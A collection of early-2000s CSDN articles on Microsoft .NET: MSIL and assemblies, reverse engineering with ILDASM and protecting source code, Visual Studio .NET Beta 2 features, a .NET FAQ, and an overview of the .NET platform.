    本文的所有MSIL输出都以GoodByeVB6应用的调试版本为基础。非调试版本虽然不带代码行和变量名字，但仍能够提供大量有用的信息。在查看MSIL代码的时候，调试符号虽然重要，但不是必不可少的。

    当我们运行编译器时，它生成的不是我们今天熟悉的执行文件，而是一个程序集（Assembly）。程序集是一个文件的集合，程序集中的文件可以作为单一整体进行部署。在当前的Windows体系中，我们可以把单个执行文件看成一个程序集。但从更严格的意义上来说，程序集聚合了执行文件和它的所有支持文件，包括DLL、图形、资源以及帮助文件。

    一般地，一个程序集至少由两个文件构成：执行部分，manifest（英文单词原意：载货清单，乘客名单）。manifest是程序集内所有文件的清单。程序集内的可执行部分又分开称为模块（Module）。从概念上说，模块对应着DLL或者EXE文件；除了父程序集所包含的元数据（Metadata）之外，每一个模块都包含元数据。程序集是当前可移植执行文件格式（Portable Executable，PE）的一个增强版本。

    如图3所示，文件的开头是标准的PE头。文件内部包含了CLR头，CLR头的后面是把代码装入进程空间所必需的描述数据——即元数据。元数据为执行引擎提供了大量信息，其中包括：如何装载模块，需要哪些支持文件，如何装载支持文件，如何与COM以及.NET运行时环境交互。另外，元数据还描述了模块或者程序集所包含的方法、接口以及类。元数据所提供的信息使得JIT编译器能够编译并运行模块。同时，元数据暴露了有关应用的大量内部信息，使得从反汇编IL获取有价值的代码更加方便。

图3
    使用.NET代码的核心问题在于受管理代码。受管理代码是专门为在CLR控制之下运行而编写的代码，它可以用VB.NET、C#以及C++等语言创建，但C++是唯一能够创建.NET平台非受管理代码的语言。我们无法用VB6为.NET平台创建非受管理代码，这是因为在VB6中我们把代码编译成i386指令而不是IL代码。正如使用VB.NET，如果你要使用受管理代码，你只能把代码编译成IL。

    现在我们来看看使用这种新的MSIL代码有哪些优点。如果代码编译成了MSIL，我们可以在任何支持CLR的平台上安装和运行这些代码。就目前来说，这一点可能不是很吸引人，因为当前支持.NET的平台还很少：只有32位的Windows。但不久之后，64位平台和.NET for Windows CE都将提供这方面的支持。把代码编译成MSIL格式使得我们能够无缝地把应用移植到所有这些平台和未来的新平台。

    MSIL的另外一个优点是：JIT编译器在安装应用的目标机器上把MSIL代码编译成机器指令，它能够利用目标机器的硬件特点，根据平台的具体情况对代码进行优化。这一点很有用，例如，它能够为目标机器的特殊寄存器优化代码，或为目标机器上带有特殊处理器的硬件设备优化操作代码。请点击VB6工程属性窗口Compile选项卡中Advanced Optimizations按钮了解更多信息。由于有了程序集中的元数据，JIT编译器知道代码做些什么以及它支持哪些平台，从而能够迅速地作出优化决定、提高代码的性能表现。

    还有一个优点涉及到.NET的两个V：Validation（检验），Verification（核查）。检验是对模块进行的一系列检查，确保元数据、MSIL代码以及文件格式的一致性。不能通过这些检查的代码可能导致执行引擎或者JIT编译器崩溃。一旦模块通过了检验，则代码是正确的且可以开始运行。

    JIT编译器把MSIL代码转换成机器代码时对代码进行核查，它是对元数据进行复查，保证程序不会访问它不具有相应许可的内存或其他资源。经过核查的代码是类型安全的（Type-Safe）代码。这种核查即使是在程序被直接编译成机器代码的时候也要进行，但除非由JIT编译器进行核查，否则这种核查不是100%精确无误，因为核查结果依赖于来自其他程序集的元数据。如果把源程序直接编译成机器代码，我们面临着这样一种危险：在目标机器上的其他程序集发生了变化，从而导致程序不再类型安全。

    使用JIT编译器保证了检验和核查是对所有相关程序集的当前版本进行。这些操作确保执行程序总是类型安全，程序总是以合适的安全许可运行。你可以用.NET SDK的PEVerify工具自己对代码进行检验和核查。


csdn_.NET体系中的源程序安全问题(3)

  .NET体系中的源程序安全问题(3)
作者： 仙人掌工作室
三、反向工程
  当程序集以MSIL而不是机器代码的形式发布时，最令人关心的问题应该就是安全。正如前面所介绍的，程序集包含了关于包里面所有模块的manifest以及详细描述各个模块的元数据。.NET SDK 提供了一个名为ILDASM的工具，它是一个IL反汇编程序，能够从模块反汇编出IL代码以及应用程序中各个模块的元数据说明。从Listing 1可以看出，利用ILDASM对代码实施反向工程是极为方便的。

【Listing 1】下面是IL反汇编程序ILDASM输出的部分结果。
它显示的是应用中一个名为LeavingMessage的私有方法，后
面部分是调用LeavingMessage方法的代码。CLR把参数压入
栈，执行调用，然后恢复栈为下一个操作做好准备。

.method private instance void LeavingMessage(class System.String& strText) il managed
{
// Code size 10 (0xa)
.maxstack 8
//000059: Private Sub LeavingMessage(ByRef strText As String)
IL_0000: nop
.line 60
//000060: debug.Write(strText)
IL_0001: ldarg.1
IL_0002: ldind.ref
IL_0003: call void [System]System.Diagnostics.Debug::
Write(class System.String)
.line 61
//000061: End Sub
IL_0008: nop
IL_0009: ret
} // end of method Form1::LeavingMessage

Code to call LeavingMessage Sub

finally
{
IL_002d: nop
.line 73
//000073: LeavingMessage("Goodbye Dear Friend")
IL_002e: ldarg.0
IL_002f: ldstr "Goodbye Dear Friend"
IL_0034: stloc.3
IL_0035: ldloca.s _Vb_t_string_0
IL_0037: callvirt instance void
GoodbyeVB6.Form1::LeavingMessage(class System.String&)
IL_003c: endfinally
.line 74
//000074: End Try
} // end handler

    人们已经认识到了这个问题，一个常见的反驳意见是：在现实中，应用的规模很大，IL反汇编输出结果的规模将超过可以忍受的限度。但是，它可能使一个业余爱好者望而却步，却不能阻止一个真正对代码感兴趣的人。实际情况是：与机器代码的反汇编结果相比，ILDASM的反汇编结果要容易阅读得多，任何对此感兴趣的组织都能够从IL反汇编结果了解到大量有关应用的信息。

    按照Microsoft的意见，要保证企业机密安全，我们应该把所有包含企业机密的模块放到受保护的服务器上。对于ASP.NET客户机/服务器应用来说这没问题，但对于标准的桌面应用来说它行不通。那么，如何才能对知识产权进行保护呢？MSIL汇编程序文档提到了一个命令行参数/owner：

ilasm ... /owner
ilasm ... /owner=fergus

    这个选项用密码加密代码，防止代码被反汇编。问题在于Microsoft准备取消这个选项，因为它看起来不是一种好方法。这样，对于用受管理的C++、C#或VB为.NET Beta 1编写的桌面应用来说，要保护知识产权将非常困难。

    但希望仍旧存在。在.NET最终发布之前，Microsoft可能提供一个模糊器（Obfuscator）程序，它能够修改MSIL的私有方法，使得除CLR JIT编译器之外没有人能够阅读这些私有方法。但是，它不会隐藏应用的公用（全局）方法以及对外部库的调用，这是因为：如果修改全局调用的名字或者隐藏这些调用，CLR将不能再链接到外部函数。因此，黑客们仍旧能够通过查看IL代码，找出应用调用系统DLL的各种信息。这样，现在我们只能用一种方法对桌面应用的知识产权进行保护，即用非受管理的C++编写关键性代码，然后从VB.NET通过为访问非受管理代码提供的交互机制访问它。当然，对于VB开发者来说，这可能比较困难。

    由于所有受管理代码必须以MSIL形式发布，所以在发布之前代码不能进行JIT编译。但是，在目标机器上安装应用的时候，我们可以把代码编译成汇编形式。从表面上看来这很不错，但代码在安装盘上仍旧是IL形式，我们可以手工从安装盘提取出代码，然而分别对它们进行反汇编。由于应用安装完成后以编译代码而不是IL的形式存在，除了安全之外，它还能够少量地提高应用运行的速度，因为此时我们不再需要JIT编译器编译IL代码。


csdn_.NET体系中的源程序安全问题(4)

  .NET体系中的源程序安全问题(4)
作者： 仙人掌工作室
四、结束语
    如果你是一个桌面应用的供应商，你清楚自己应该怎么做。你可以用非受管理的C++编写代码，然后从受管理的VB调用它。用这种方法设计应用，你能够确信代码的安全。然而，如果你是一个第三方供应商，而且准备在组件中用非受管理的代码替代受管理的代码，那么，你是在强迫用户放弃.NET的优势，重新让他们面对他们今天所面临的问题。受管理代码能够防止对应用本身或者其他应用所使用的内存空间进行破坏性操作，对受管理代码的支持正是.NET吸引人的原因之一。某些用户可能会查看受管理代码的IL程序，甚至还有可能分析应用的算法实现，如果不能正确地认识.NET的优势所在，第三方供应商可能会为了防止用户分析代码而拒绝用受管理代码编写各种软件部件。

    VB.NET/VS.NET有着许多优点，仅仅是对IDE（集成开发环境）的改进就足以成为我们升级到VB.NET的理由；语言方面的增强为我们带来许多新的编程支持，对底层OS访问的简化使得我们声明变量、对象以及调用低层功能更加方便。VB.NET是一个创建安全ASP.NET应用的优秀工具；但是，如果你的主要目标集中在客户端或者是桌面应用，你应该慎重考虑可能出现的问题。Microsoft准备为桌面应用开发者提供哪些帮助？我们将拭目以待。


csdn_What's New in Visual Studio .NET Beta 2

  What's New in Visual Studio .NET Beta 2
作者： msdn
Overview
Microsoft Visual Studio .NET offers powerful new features to developers, including:

Web hosting
Third-party downloads
Upcoming enterprise features for the final release
Two of these features, Web hosting and third-party downloads, are available in Visual Studio .NET Beta 2.

One of the biggest challenges in creating XML Web services and ASP .NET Web applications on the Internet is the lack of ASP .NET Web hosters, or Internet service providers (ISPs). With Beta 2, several companies are providing free space to publish ASP .NET Web applications and XML Web services. Now you can build .NET-based applications that run live on the Internet.

Building applications is a process of creating code, reusing code, and leveraging third-party add-ins to simplify the process. In Beta 1, finding add-ins to Visual Studio .NET was a challenging task—you had to surf the Web looking for components to use within Visual Studio .NET. With Beta 2, these third-party components can now be found easily on the Start page in Visual Studio .NET.

Web Hosting
Developers looking to deploy Web applications and XML Web services built using Visual Studio .NET will be pleasantly surprised by the inclusion of the new Web Hosting tab on the Start page in Visual Studio .NET. The Web Hosting tab gives developers access to a list of ASP .NET Web hosters that provide free Web space and are integrated with Visual Studio .NET to facilitate the deployment of completed applications through a wizard.

Third-Party Downloads
Hundreds of software component vendors, language vendors, training companies, and other partners have already adopted and created .NET-based software that is available for developers to extend their solutions with Visual Studio .NET. These third-party resources can easily be found on the What's New tab on the Start page in Visual Studio .NET.

The What's New tab provides a place for developers to learn about new and interesting features in Visual Studio .NET, as well as a place to learn about third-party vendors that provide developer tools, languages, controls, and components that work with and integrate into Visual Studio .NET. These partners and products provide essential resources to developers who use Visual Studio .NET. The combination of Visual Studio .NET and the products provided by these partners creates the best development tool set for building the next generation of XML Web services and applications.

Upcoming Enterprise Features for the Final Release
Developers need more than just powerful tools for authoring code. They need tools that simplify all of the other enterprise developer tasks required to build scalable applications In the final release, Visual Studio .NET Enterprise Developer will include all of the tools a developer needs to create scalable applications, while Visual Studio .NET Enterprise Architect will provide the tools required for corporate architects designing .NET applications.

Visual Studio .NET delivers new enterprise life-cycle features to help organizations plan, analyze, design, build, test, and coordinate teams that develop XML Web services and applications. These new features will include scalability, performance, and functional testing tools for XML Web services, full Unified Modeling Language (UML) 1.2 software modeling, industry-leading database modeling (spanning conceptual, logical, and physical models), and enterprise frameworks and templates-a set of technologies that enable software architects to create an application recipe (ingredients and instructions) and provide it directly to developers within the Visual Studio .NET environment. The enterprise features are not provided in the public Visual Studio .NET Beta 2 release due to timing issues.

A new version of Visual Studio .NET, Visual Studio .NET Enterprise Architect, focuses on three key areas:

Software modeling
Database modeling
Development frameworks and templates
Visual Studio .NET Enterprise Architect enables architects in charge of developer groups to set rules and policies, as well as create guidelines. These can then be implemented using Visual Studio .NET Enterprise Developer, so programmers are provided architectural guidance while building applications


csdn_微软.NET 常见问题解答

  微软.NET 常见问题解答
作者： HelenWu
微软.NET 就是 XML Web 服务平台,它通过提供Web服务，使得人们使用应用软件和设备的方式发生了重大变化.通过阅读本文关于 微软.NET常见问题解答就会明白.NET是如何改变人们的计算体验的。
.NET对用户意味着什么
什么是微软.NET?
什么是.NET体验?
什么是.NET体验实例?
.NET提供了什么解决方案?

.NET对开发人员和IT企业意味着什么?
.NET是如何易于管理的?
.NET可升级吗?
.NET是如何进行安全和个人隐私保护的?
开发人员为什么要选择.NET而不是其它XML平台?
.NET编程模型和工具的好处是什么?

.NET是如何工作的
作为产品的.NET提供了什么?
为什么.NET要使用XML?
XML Web服务和Web站点有什么不同?
什么是"智能设备"
服务器是如何适应.NET的?
基础服务是如何适应.NET的?
Windows在.NET中的作用是什么?
目前如何建立一个.NET体验?
在.NET平台上何时可获得XML服务?

--------------------------------------------------------------------------------

什么是微软的.NET?
微软的 .NET 及 XML Web 服务平台包括:
一个建立.NET体验的软件平台
一个建立集成XML Web服务的编程模型和工具
一套可编程的XML Web服务

微软.NET能使用户通过Web与众多的智能设备交互，同时确保用户而不是应用程序控制这个交互。 微软.NET能使得用户对应用程序、服务、个性化设备的体验简单、一致而安全。
什么是.NET体验
微软.NET体验是极具个性化的、综合的计算体验，它通过与XML Web服务相连的智能设备来实现。
个性化综合体验——与被提供者分开的信息竖井相反，NET体验以用户为中心，将数据和参数集成到单个应用程序中。
与XML Web服务连接——通过使用 XML 和 SOAP，根据用户需要为他们量身定做的一系列服务可被融入到单一而完整的体验中。

通过智能设备实现交互——用户通过与智能设备的交互体验.NET。智能设备是一种具有 Web功能的工具，如个人电脑、掌上电脑、智能电话，在这些设备中配上软件，这些软件使得它们在与用户、网络、信息及其它设备和服务的交互过程中更加智能化。

什么是.NET体验实例?
一次.NET体验类似于一个用户与现行单个的应用程序交互,但有三个重要的不同点,现通过实例描述如下:
假设你想打开暖气，而你又不在家,这时你就可以进行一次.NET体验，即通过智能设备控制你的家用电器。如果此刻你在办公室里，你可以用你的桌上型电脑，如果你正开车去杂货店,你可以用你的智能电话， 如果你是在商场买菜，你则可以用多媒体信息亭。
这一实例中.NET的独特性在于:
每一个设备都为.NET体验产生一个不同的界面——桌上型电脑可能会显示一个地形图并接受鼠标输入。智能手机会给你语音选择并要求你按键选择。多媒体信息亭可能会有一个触摸屏和一组温度控制选项。你可用同一.NET体验完成同一任务，但是你看到的是适合于不同设备的截然不同的界面。
.NET体验是位置无关的——利用定位安装和基于Web应用程序两者各自的优势，.NET体验可同时在在线和脱机状态下进行，在前面的实例中，不管你在哪里：办公室、车里或商场，都可使用.NET体验。
.NET体验是个性化的——.NET体验读取存储在低层基础中的用户参数和配置信息，并自动将用户信息和参数结合在一起呈现出来。在前面的实例中，当你打开暖气，.NET体验根据你的登录ID已经知道你住在哪里，你不需要输入地址。

.NET提供了什么解决方案？
微软.NET解决目前软件开发中存在的几个核心问题：
软件开发关注的问题 .NET的解决方案
实现互用性、集成性和应用程序的可扩展能力难度大且费用昂贵。 使用由 W3C 管理的开放标准——XML——扫除了数据共享和软件集成的障碍。
软件技术版权的争夺使得集成变得困难。 微软.NET建立在一个开放的标准上，容纳了所有的程序设计语言。
最终用户没有简单而引人注目的体验，且最终用户不能轻松在应用程序间共享他们的数据数据或操作这些信息。 XML使得交换数据相当容易，一旦用户接收到数据，.NET软件便为用户提供处理数据的能力。
最终用户在Web上工作时不能控制个人信息和数据，注重个人隐私和安全方面消弱了基于Web软件的可接收性。 微软.NET提供一套中心服务，使用户管理个人信息并控制对这些信息的存取。

.NET对开发人员和IT业意味着什么
.NET是如何易于管理的？
随着当前应用软件的升级，Microsoft设计了许多工具和技术使.NET平台易于管理，目前的技术和产品包括：
Microsoft Windows 2000 Server 用于管理目录、事件、分布式客户。
Windows2000 Datacenter Server 确保可靠性。
Microsoft SQL Server 2000 管理XML数据。
Microsoft BizTalk Server 管理事件、进程、跨不同系统的合约。
Microsoft Application Center Server 管理群集
Digital Rights Management(DRM) 用于管理内容授权。
UDDI（Universal Description, Discovery, and Integration）使进第三方发展XML Web服务。

.NET是如何易于升级的？
通过使用.NET服务器技术——具备了动态更新和重用XML Web服务的能力以及分配跨设备的计算能力，从而使得.NET成为高水平的可伸缩平台。
Scale out 用 Windows2000 Sever, SQL Sever2000,和 Application Center 2000
Scale up 用Windows 2000 Sever and SQL Sever 2000
利用智能设备和XML Web服务打破动态线性缩放规则，通过将计算分布到网络边缘（在那里有足够的计算能力），服务器处理力瓶颈可以消除，通过简化作为基础应用软件的服务，将它们分布在网络上的任何地方，从而使得其它的瓶颈也可消除或者缩小。

.NET是如何进行安全和个人隐私保护的？
.NET将提供由用户自己控制数据的强有力的个人隐私保护，用户指定什么人和什么应用程序可以访问（存取）或更改他的个人数据。这种权限与延长特殊交易保护个人隐私的策略相关。
有效的安全需要把这些因素结合在一起：安全软件、良好的操作习惯、物理安全及许可协议。.NET平台的部分现行和即将推出的软件安全程序和技术包括：
Windows 2000 for Kerberos, Microsoft Active Directory 服务, PKI, EFS 和 IP Sec.
基础服务实现简化、保护个人隐私、安全体验，让所有用户控制他们拥有的数据。
在基础服务之上的XML消息接口，具备了审核能力并具有可说明性。
用于内容授权数字权力管理（DRM）。

为什么开发人员要选.NET而不是其它XML平台？
微软.NET平台为开发人员提供了下列独树一织的特性：
通过.NET框架和工具（Visual Studio.NET）使建立集成的XML Web服务更简单、更快捷、更省钱。
由于智能设备和信息代理而使用户体验更丰富更引人注目。
由于以个人为中心的基础服务使.NET体验更加个性化和易于管理。
建立在以XML为核心的下一代软件基础之上。

.NET编程模型和工具的好处是什么？
Visual Studio.NET和.NET Framework为开发人员提供了下列好处：
最好、最快、最省钱的方法来建立XML Web服务。
高产和多语言环境来建立和运行XML Web服务。
能建立安全可升级应用软件并在多种设备上运行，节约保贵的时间和资源。

.NET是如何工作的
作为产品的.NET提供了什么？
微软.NET包括：
.NET平台——为XML Web服务开发人员提供的一套构建工具和操作系统。
.NET体验——最终用户与XML Web服务交互的一种手段。

.NET平台
.NET平台的组件
描述

.NET Framework 和 Visual Studio .NET 这些是开发人员工具，用来建立应用软件和XML Web服务。.NET Framework是一套位于.NET平台中心的编程接口。Visual Studio.NET是一套语言无关的开发人员工具。
.NET 服务器的基本构造 操作XML Web服务的基础构造依赖于Windwos操作系统和.NET企业服务器，一套运行XML Web 服务的电子商务基础构造应用程序。这些服务器包括：
Application Center 2000能衡量解决方案；

BizTalk Server 2000通过应用软件或服务创立和管理基于XML的跨应用和服务的商也流程；

Microsoft Host Integration Server 2000用于存取基于主机的数据；

Microsoft Mobile Information 2001 Server使移动设备使用应用软件，如蜂窝电话（手机）等；

SQL Server 2000可存储和提取以创建的结构化XML数据；

基础服务 基础服务是一套集成的XML Web服务，它以用户为中心，让用户控制数据成为可能，基础服务包括Passport护照（用于用户身份认证）和消息传送服务，文档储存，用户首选参数管理，日历管理和其它功能。 微软将在.NET 基础构造的关键之处是提供一些基础服务，各种合伙人和开发人员将扩展这些基础服务，你还可以看到建立在.NET平台上的共同和纵向的基础服务。
.NET 设备软件 包括Windows XP, Windows Me, Windows CE, Windows Embedded, .NET Framework, .NET Compact Framework,这些软件能使新型的智能Internet设备，膝上电脑，工作站等在 .NET的环境中工作。

.NET 体验
最终用户通过.NET 体验与软件交互，它传达一种新型的交互——独树一帜的个性化，集成的体验源自与XML Web服务的连接，并通过新型的智能设备来传达。
技术层面上，.NET体验是XML Web服务在适当的时候与本地应用代码的一种结合。
微软正在把四种受欢迎的产品转换成 .NET体验：
微软产品 通过.NET而增强的功能
Microsoft Office
传统的Office功能加上Web服务特色，如：SmartTags--重要数据信息在线上下文连接。
MSN 完全的客户体验，包括从各种不同的公司获取服务。
MS Small Business Portal 中小型企业的丰富体验，包括管理企业财务和库存及自动使用象eBay这样的销售机制服务。
MS Visual Studio 开发系统 通过将动态MSDN数据和共同的编码标准集成在一起，从而为开发人员提供一个丰富的开发环境。

为什么.NET使用XML?
XML是Internet上数据交换的通用语言，为数据交换和转换提供广泛包容性和开放的标准技术,扫除了应用程序与服务之间交互和集成的障碍。
XML Web 服务和 Web 站点的区别是什么？
Web 站点是一幅幅数据画面，其数据局限在浏览器中查看，与Web站点不同，XML Web 服务可以直接被另一个服务或应用软件存取。XML Web 服务是可重用软件块，这些软件按照行业公认的标准(XML and SOAP)通过编程在网络上交互。XML Web 服务可以彼此间结合，也可以和其它应用软件结合来建立智能交互式.NET体验。

Web 站点 : 用户——应用程序
XML Web 服务 : 用户——应用程序
应用程序——应用程序

什么是"智能设备"？
.NET 利用智能设备软件使PC机、膝上电脑、工作站、智能电话、掌上电脑、Tablet PCs、游戏控制台和其它智能设备在.NET环境中运行，智能设备指：
因为你而智能——使用你的.NET身份，配置文件和数据简化你的体验，因你的存在而智能，允许定制通知响应你的存在或缺席。
因为网络而智能——对宽带约束作出应答，为在线和脱机应用软件提供支持，并了解哪些服务可用。
因为信息而智能——允许你随时随地存取、分析和操作数据。
因为其它设备而智能——找到并通告PCs 机、智能设备、服务器、Internet，知道如何为其它设备提供服务，因为存取PC机上的信息而智能。
因为软件和服务而智能——以最令人满意的形式呈现应用和数据，使输入方法和连通性以最佳状态适应最终用户的交互，用 SOAP 和 UDDI 消费 Web 服务，并且开发人员可编程和可扩展。

服务器是如何适合 .NET的？
微软提供了一套完整的服务器产品，它为企业和XML Web服务提供安全的、可升级的、高性能的执行环境，因为它们对XML提供深层支持，从而具有最好、最省钱的运行和管理XML Web服务的方法。
基础服务是如何适应.NET的？
.NET被设计成提供更简单、更加个性化的综合体验。以身份为中心的（Identity-centric）服务是与多种XML Web服务交互，并使它们能代表你而行动。为了实现这一目标，微软已开发私有和安全服务，这些服务都是围绕着身份，通知以及存储而建立的，它们可做为其它XML Web服务和.NET体验的基础服务。
在.NET中Windows的作用是什么？
现在，微软Windows所面向的最终智能设备是个人电脑，为个人电脑提供强大的功能。Windows XP将能够使用XML Web 服务，如图片服务，以及通过XML Web服务发布在Web上的实用程序。它将成为智能设备的一个网络中心，并将对下一代交互式对等网络计算，图片服务，实时交互及媒体服务产生影响。
Windows 的 Whistler Server 将包含对XML和SOAP的内建支持,这种支持将与.NET Framework捆绑在一起。
目前如何建立.NET体验？
下载Visual Studio.NET，然后开始，Visual Studio.NET代表了.NET Framework的一个完整的开发环境，允许编程人员使用他们知道的语言创建令人兴奋的，可重用的XML Web 服务。通过在BizTalk Server, SQL Sever和Windows 2000 Server上更深层地集成XML进一步使你有能力去管理和运行XML服务，通过把Passport集成到现存的Web应用程序中，软件设计师能提高当前用户体验，并为今后融入.NET轻松使用智能的，安全的身份识别做好准备。
在.NET平台上何时可使用XML Web服务？
数千名开发人员已经开始用.NET Framework, Visual Studio .NET 技术预览版建立XML Web服务了，使用SOAP和XML的XML Web服务每天都在创新，此外，微软将提供一组核心基础服务来促进.NET平台上的开发。重要的是已经获得Passport,并将随着.NET 平台的发展而继续得到增强。


csdn_Microsoft.Net综述(1)

  Microsoft.Net综述(1)
作者： yesky

    "我们离破产永远只有十八个月"

                    ---比尔.盖茨

    "微软凭借.NET试图制定下一代互联网软件的编写标准，而其名为.NET的宽带互联网发展计划更显示了微软独霸互联网的野心。这一切，会不会是微软垄断视窗操作系统的延续？"

                    ---著名软件设计师　　戴维.文纳

    绪论

    未来是网络为中心的世界。面对这个已经或即将来临的世界，每个IT巨人都在思考。发布于2000年秋天的Microsoft.NET，表明微软将以网络为中心，彻底转换产品研发、发布的方式，改变产品和服务的范围。

    Microsoft.NET是一项革命性的技术框架。.NET的核心技术包括分布式计算、XML、组件技术、即时编译技术等。分布式计算是网络的本质：XML奠定了新一代电子数据交换的标准，正是数据交换使网络计算成为可能；组件技术是软件技术多年来的发展成果，它使程序设计员从大量的API中解放出来，以采用面向对象和面向组件的技术来解决软件问题；即时编译技术使应用程序在运行时，还能够根据主机的硬件和软件环境进行代码优化，并简化代码发放的过程。

    自从.NET发布以来，一直就是媒体的追逐目标，大量程序员参与到.NET的测试和研究中，出现了很多.NET的技术论坛和技术站点。微软掌门人比尔.盖茨更是到中国、印度等国演讲宣传.NET，鼓动程序员使用.NET。据报道很多商业网站已经决定在.NET构架下建立英特网服务平台，如全球最大的拍卖站点ebay.com。

    微软新一代软件开发平台，称为Visual Studio.NET,它是微软.NET战略产品的重要部分。Visual Studio.NET集成了VB.NET、C#、ASP.NET的开发环境,而微软第一次统一了VB和VC的底层对象,使VB.NET和C#能够在同一个运行苦的基础上访问相同的组件的属性和方法。这就是编写C#和编写VB.NET程序同样的简单和高效，在这以前，大多数人认为，VC++程序员就是比VB程序员更高级些。在.NET时代，这种差别将不复存在。

    MicroSoft .NET平台包括用于创建和操作新一代服务的.NET基础结构和工具；可以启用大量客户机的.NET User Experience；用于建立新一代高度分布式的数以百万计的.NET积木式组件服务；以及用于启用新一代智能互联网设备的.NET设备软件。

    MicroSoft .NET产品和服务-包括Windows.NET，连同建立积木式服务的核心集成套件；MSNTM .NET；个人订购服务；Office.NET；Visual Studio .NET；以及用于.NET的bCentralTM。


csdn_Microsoft.Net综述(2)

  Microsoft.Net综述(2)
作者： yesky
MicroSoft .NET平台的基本思想是：

    侧重点从连接到互联网的单一网站或设备上，转移到计算机、设备和服务群组上，使其通力合作，提供更广泛更丰富的解决方案。用户将能够控制信息的传送方式、时间和内容。计算机、设备和服务将能够相辅相成，从而提供丰富的服务，而不是像孤岛那样，由用户提供唯一的集成。企业可以提供一种方式，允许用户将它们的产品和服务无缝地嵌入自己的电子构架中。这种思路将扩展二十世纪八十年代首先由PC赋予的个人权限。

    Microsoft.NET平台带来的重要意义

    l、对于开发人员

    MicroSoft .NET的策略是将互联网本身作为构建新一代操作系统的基础，对互联网和操作系统的设计思想进行合理延伸。这样，开发人员必将创建出摆脱设备硬件束缚的应用程序，以便轻松实现互联网连接。MicroSoft .NET无疑是当今计算机技术通向计算时代的一个非常重要的里程碑。

    .NET的核心组件有：

    · 一组用于创建互联网操作系统的构建块，其中包括Passport.NET（用于用户认证）以及用于文件存储的服务、用户首选项管理、日历管理以及众多的其它任务

    · 构建和管理新一代服务的基本结构和工具，包括Visual Studio.NET、.NET企业服务器、.NET框架和Windows.NET

    · 能够启用新型智能互联网设备的.NET设备软件

    · .NET用户体验

    .NET对最终用户来说非常重要，因为计算机的功能将会得到大幅度提升，同时计算机操作也会变得非常简单。特别地，用户将完全摆脱人为的硬件束缚：用户可以自由冲浪于互联网的多维时空，而不是束缚在便携式电脑的方寸空间--可通过任何桌面系统、任何便携式电脑、任何移动电话或PDA进行访问，并可对其进行跨应用程序的集成。

    .NET对开发人员来说也十分重要，因为它不但会改变开发人员的开发应用程序的方式，而且使得开发人员能创建出全新的各种应用程序。新型开发范例的核心是Web服务这个概念的引入。Web服务是一种通过简单对象访问协议(SOAP)，在互联网上展露其功能性的、极为公开的服务。SOAP是一种基于可扩展标记语言(XML)制定的协议。

    在过去，开发人员通过集成本地系统服务来构建应用程序。在这种模型下，开发人员可以访问丰富的开发资源并能严格控制应用程序的行为。

    如今，开发人员已在很大程度上挣脱了这种模型的束缚，致力于构建具有复杂结构的n层化系统，这种系统能将网络上众多的应用程序一并进行集成，大大提升了应用程序的价值。这样，开发人员便可把精力集中在充分挖掘软件独特的商业价值，而不是构建基本结构上。可喜的局面将应运而生：软件投放市场的时间大大缩短、开发人员的编程效率明显提高，最终把质量上乘的软件呈现给用户。

    我们正在进入一个崭新的计算时代--一个由互联网（尤其是Internet核心技术XML）实现的时代。利用XML，能够创建出可供任何人从任何地方使用的、功能非常强大的应用程序。它极大地拓展了应用程序的功能，并实现了软件的动态提供。

    n层计算技术具有能够大幅度提高生产力、紧密耦合的特点，而Web概念具有面向消息、松散耦合的特点，我们将二者有机地糅合在一起，实现了上述构想。我们将这种计算风格称为Web服务，它的出现标志着人类已经迈入应用程序开发技术的新纪元。Web服务是一种应用程序，它可以通过编程并使用标准的Internet协议，像超文本传输协议(HTTP)和XML，将功能展示在互联网和企业内部网上。还可将Web服务视作Web上的组件编程。

    2、 .NET对IT专业人员的重要意义

    .NET Enterprise Servers和Windows 2000操作系统，为创建具有高度可管理性的、能迅速投入市场的应用程序提供了坚实基础。它们利用的是可扩展标记语言(XML)，因此随着Web体系结构的革新，在此平台上创建的程序依然很有价值。

    .NET平台的核心是，采用有效的、分门别类的方式来构建应用程序，达到其前所未有的规模。该平台上的Web服务模型指的是：企业应用程序的中心业务要素通常由本地管理，而支持它们的服务（如用户认证、文件存储、用户首选项管理、日历、邮件等等）却无须本地管理，可以被无缝订购。为了存储用户文件和邮件，IT专业人员往往在服务器上安装新的独立磁盘冗余阵列（RAID阵列），而有了.NET，他们在这一方面将会花费较少的精力，而更多地致力于怎样为公司增加效益。

    3 .NET对企业的重要意义

    MicroSoft .NET平台将从根本上改善计算机和用户之间进行交互的方式，最大限度地发挥电子商务中计算技术的重要作用。

    .NET将保证完全消除当今计算技术中的所有缺陷。.NET定能实现确保用户从任何地点、任何设备都可访问其个人数据和应用程序的宏伟蓝图。除此之外，.NET技术还可实现多个应用程序在逻辑上的松散耦合链接和紧密耦合链接。

    用户可以通过手写、语音和图象技术与其个人数据进行交互。这些数据将安全地存放在互联网上，用户通过办公室（或家庭）PC，还可以通过移动电话或寻呼机、PDA、甚至是新发明的寻呼机--移动电话--PDA--PC联合设备访问这些数据。应用程序可进行灵活的功能调整，以适应用户所用设备的功能状况。应用程序可根据用户预定义的选项集和指令集，完全代替用户自动执行相应的操作。


csdn_Microsoft.Net综述(3)

  Microsoft.Net综述(3)
作者： yesky
MicroSoft .NET Framework 及主要服务

    MicroSoft .NET框架的目的是使你更容易建立网络应用程序和网络服务。建立在操作系统最底层的服务，是管理运行时代码需求的common language runtime，这些代码可以用任何现代编程语言所写。Runtime提供了许多服务，这些服务有助于简化代码开发和应用程序的开发同时也将提高应用程序的可靠性。.NET Framework包括一套可被开发者用于任何编程语言的类库。在此之上是许多应用程序模板，这些模板特定地为开发网络站点和网络服务提供高级组件和服务。

    Microsft .NET框架 引入了组合体的概念。一个组合体是一组资源和类型，并包括有关这些资源和类型的元数据，也就是被作为一个单元配制的。元数据被称为组合体的名单，它包含象类型和资源表之类能被组合体外看得见的信息，这个名单也包括有关从属关系之类的信息，例如组合体建立时的版本号。开发人员可以指定版本策略，以指示运行语言是否装入系统上已安装的依赖于组合体的最新版本，装入一指定版本，或在编译时使用的版本。

    组合体可以被一个应用程序私有，或被多个应用程序共享。一个组合体的多个版本可以同时配制在同一台机器上。应用程序配制信息定义了到何处去查找组合体，这样runtime就能为同时运行的两个不同的应用程序装入同一组合体的不同版本。这就消除了由组件版本的不兼容性引起的问题，提高了系统整体的稳定性。

    Microsft .NET框架不仅规定代码访问安全，还规定基于角色的安全。通过代码访问安全机制，开发人员能为应用程序指定完成工作所必需的权限。

    在查看Microsft .NET框架的可编程模板前，先看一下它所提供的服务。

    l 服务框架

